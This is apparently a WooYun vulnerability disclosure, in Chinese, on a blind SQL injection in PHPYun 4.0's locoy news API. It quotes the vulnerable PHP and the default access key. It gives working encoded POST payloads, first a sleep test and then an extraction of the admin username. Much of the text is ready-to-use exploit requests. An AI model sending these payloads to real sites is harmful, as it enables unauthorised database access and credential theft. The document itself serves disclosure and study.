WooYun.org

首先我们看这个文件：
api/locoy/model/news.class.php:

class news_controller extends common{
	function addnews_action(){//新闻添加
		include("locoy_config.php");
		if($locoyinfo['locoy_online']!=1){
			echo 4;die;
		}
		if($locoyinfo['locoy_key']!=trim($_GET['key'])){
			echo 5;die;
		}
        if(!$_POST['title'] || !$_POST['content'] || !$_POST['nid']){
			echo 2;die;
		}
		$row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'");
		if(is_array($row)){
			echo 3;die;
		}
		$content=$_POST['content'];
		
		$value="";
        $value.="`title`='".trim($_POST['title'])."',";
		$value.="`nid`='".$_POST['nid']."',";
		$value.="`did`='0',";
		$value.="`author`='".$_POST['author']."',";
		$description=mb_substr(strip_tags(html_entity_decode($content,ENT_NOQUOTES,"GB2312")),0,180,"gbk");
		$description=$_POST['description']?$_POST['description']:$description;
		$description=str_replace(array(' ',"\n","\r","\r\n"," "),array(''),$description);
		$value.="`description`='".$description."',";
		$value.="`source`='".$_POST['source']."'";
		if($_POST['ctime']){
			$value.=",`datetime`='".strtotime($_POST['ctime'])."'";
		}else{
			$value.=",`datetime`='".time()."'";
		}
		if($_POST['hits']){
			$value.=",`hits`='".trim($_POST['hits'])."'";
		}else{
			$row=explode('-',$locoyinfo['locoy_rand']);
			if(is_array($row)){
				$rand=rand(trim($row[0]),trim($row[1]));
			}else{
				$rand=!trim($row)?0:$row;
			}
			$value.=",`hits`='".$rand."'";
		}
		if($_POST['sort']){
			$value.=",`sort`='".trim($_POST['sort'])."'";
		}else{
			$row=explode('-',$locoyinfo['locoy_sort']);
			if(is_array($row)){
				$rand=rand(trim($row[0]),trim($row[1]));
			}else{
				$rand=!trim($row)?0:$row;
			}
			$value.=",`sort`='".$rand."'";
		}
		if($_POST['newsphoto']){
			$value.=",`newsphoto`='".trim($_POST['newsphoto'])."'";
		}
		if($_POST['s_thumb']){
			$value.=",`s_thumb`='".trim($_POST['s_thumb'])."'";
		}
       if(!$_POST['keyword'] && $locoyinfo['locoy_keyword']==1){
			require(LIB_PATH."lib_splitword_class.php");
			$sp = new SplitWord();
			$keywordarr=$sp->getkeyword(strip_tags(html_entity_decode($content)));
			$value.=",`keyword`='".strip_tags(@implode(",",$keywordarr))."'";
		}elseif($_POST['keyword']){
			$value.=",`keyword`='".str_replace("，",",",$_POST['keyword'])."'";
		}
     	$new_base = $this->obj->DB_insert_once("news_base",$value);

这个里面有几个条件要说明一下：
1.$locoyinfo['locoy_key']!=trim($_GET['key'])
我们搜索一下：
locoy_config.php里面 默认安装的话，就是
$locoyinfo=array("locoy_online"=>"1","locoy_name"=>"yun_","locoy_pwd"=>"12345678","locoy_key"=>"phpyun","co
找来找去都没有发现设置更改这个配置的地方，在后台的添加新闻的地方也没有找到，不管这个配置是硬编码的还是怎么样，反正是默认配置
条件2：
$row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'");
if(is_array($row)){
echo 3;die;
}
这个语句必须查不到，也就是说数据库里面不存在这个新闻
条件3 if(!$_POST['keyword'] && $locoyinfo['locoy_keyword']==1){ 这个逻辑不要进来，不然就会报错
然后我们看看问题点：

$description=mb_substr(strip_tags(html_entity_decode($content,ENT_NOQUOTES,"GB2312")),0,180,"gbk");
		$description=$_POST['description']?$_POST['description']:$description;
		$description=str_replace(array(' ',"\n","\r","\r\n"," "),array(''),$description);

发现了没有我们只要对数据进行实体编码即可
所有的空格都会被去掉，那么我们比如sleep(5)可以写成slee p(5)
解码后有180个字符的范围，那么我们就可以什么都能注射出来
url:
http://localhost/phpyun40/upload/api/locoy/index.php?m=news&c=addnews&key=phpyun
postdata：
title=xxxx&content=1'*slee p(5)#&nid=567&keyword=xxxxxx
编码一层：
title=xxxx&content=1'*slee p(5)#&nid=567&keyword=xxxxxx
再编码一层：
title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2335%3B&nid=567&keyword=xxxxxx
这样发送url:
http://localhost/phpyun40/upload/api/locoy/index.php?m=news&c=addnews&key=phpyun
postdata:
title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2335%3B&nid=567&keyword=xxxxxx
后台抓取sql为：
INSERT INTO `phpyun_news_base` SET `title`='xxxx',`nid`='567',`did`='0',`author`='',`description`='1'*sleep(5)#',`source`='',`datetime`='1437052963',`hits`='',`sort`='',`keyword`='xxxxxx'

后续进行猜测的，180个字符随便来，记得里面的nid每次请求一次都要变一次
在所有的关键字里面都加一个空格
postdata:
title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23105%3B%26%2332%3B%26%23102%3B%26%2340%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23105%3B%26%23105%3B%26%2340%3B%26%23115%3B%26%23117%3B%26%2398%3B%26%23115%3B%26%23116%3B%26%23114%3B%26%2340%3B%26%2340%3B%26%23115%3B%26%23101%3B%26%23108%3B%26%23101%3B%26%2332%3B%26%2399%3B%26%23116%3B%26%2396%3B%26%23117%3B%26%23115%3B%26%23101%3B%26%23114%3B%26%23110%3B%26%2397%3B%26%23109%3B%26%23101%3B%26%2396%3B%26%23102%3B%26%23114%3B%26%2332%3B%26%23111%3B%26%23109%3B%26%2396%3B%26%23112%3B%26%23104%3B%26%23112%3B%26%23121%3B%26%23117%3B%26%23110%3B%26%2395%3B%26%2397%3B%26%23100%3B%26%23109%3B%26%23105%3B%26%23110%3B%26%2395%3B%26%23117%3B%26%23115%3B%26%23101%3B%26%23114%3B%26%2396%3B%26%2341%3B%26%2344%3B%26%2349%3B%26%2344%3B%26%2349%3B%26%2341%3B%26%2341%3B%26%2361%3B%26%2357%3B%26%2355%3B%26%2344%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2344%3B%26%2349%3B%26%2341%3B%26%2335%3B&nid=5671&keyword=xxxxxx
抓取sql为：
INSERT INTO `phpyun_news_base` SET `title`='xxxx',`nid`='5671',`did`='0',`author`='',`description`='1'*if(ascii(substr((select`username`from`phpyun_admin_user`),1,1))=97,sleep(5),1)#',`source`='',`datetime`='1437053421',`hits`='',`sort`='',`keyword`='xxxxxx'